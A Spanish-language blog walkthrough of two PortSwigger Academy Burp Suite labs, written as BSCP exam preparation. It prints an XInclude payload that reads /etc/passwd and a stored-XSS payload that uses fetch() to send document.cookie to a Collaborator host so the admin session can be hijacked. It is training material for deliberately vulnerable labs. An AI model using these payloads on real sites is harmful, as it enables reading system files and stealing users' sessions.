PortSwigger Academy – Essential Skills

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a Essential Skills. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

En este caso, simplemente nos vienen bien estos laboratorios para aprender a manejar Burp Suite Professional, si bien no son vulnerabilidades concretas como las ya comentadas en el resto de los post.

Lab1 (Practicioner) – Discovering vulnerabilities quickly with targeted scanning

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, retrieve the contents of /etc/passwd within 10 minutes.«. En este laboratorio el objetivo es visualizar el contenido de «/etc/passwd» pero que nos dé tiempo. Para ello nos apoyaremos en Burp Scanner.

Como primer punto de partida, vemos la petición de chequeo de stock. Le lanzamos un escaneo, al sospechar que puede tener interacciones con la base de datos:

Tal como vemos, rápidamente Burp Scanner nos identifica una vulnerabilidad de XML Injection. Ahora, simplemente, podemos buscar un payload que use XInclude para obtener el fichero deseado (podemos buscar payloads en la web de PortSwigger si es necesario, aunque habiendo hecho los laboratorios es sencillo):

<foo+xmlns%3axi%3d"http%3a//www.w3.org/2001/XInclude"><xi%3ainclude+parse%3d"text"+href%3d"file%3a///etc/passwd"/></foo>

Y, como vemos, lanzamos la petición y resolvemos el laboratorio:

Lab2 (Practicioner) – Scanning non-standard data structures

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use Burp Scanner’s Scan selected insertion point feature to identify the vulnerability, then manually exploit it and delete carlos.«. En este laboratorio el objetivo es borrar el usuario «carlos», pero que nos dé tiempo. Para ello nos apoyaremos en Burp Scanner.

En este caso, vemos que la petición de «/my-account?id=wiener» tras iniciar sesión posee una cookie cuyo valor es el nombre de usuario seguido de un valor aleatorio. Hacemos botón derecho en dicho valor y seleccionamos la opción de escanear ese punto de inserción concreto. Nos saltará un menú para configurar el escaneo y lo lanzamos. Ojo, debemos seleccionar solo el string «wiener».

La herramienta debe marcarnos que existe un XSS almacenado en dicho valor ya que se obtiene una petición a Burp Collaborator (puede tardar varios minutos en aparecer la issue). Por tanto, podemos explotarlo para obtener la sesión del administrador con un payload como el siguiente, manteniendo nuestro ID de sesión al final:

'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fmukdxvl640scaayop6qw5zpq9hf832rr.oastify.com%2f%24%7bencodeURIComponent(document.cookie)%7d%60)%3e%3aJhEc9iUkoCTDTTedgraBfvaT2KAnudO6%3aJhEc9iUkoCTDTTedgraBfvaT2KAnudO6

Simplemente lanzamos la petición y observamos la interacción con Burp Collaborator:

Finalmente, importamos la cookie de sesión en el navegador y borramos el usuario «carlos»:

~km0xu95

Comments are closed.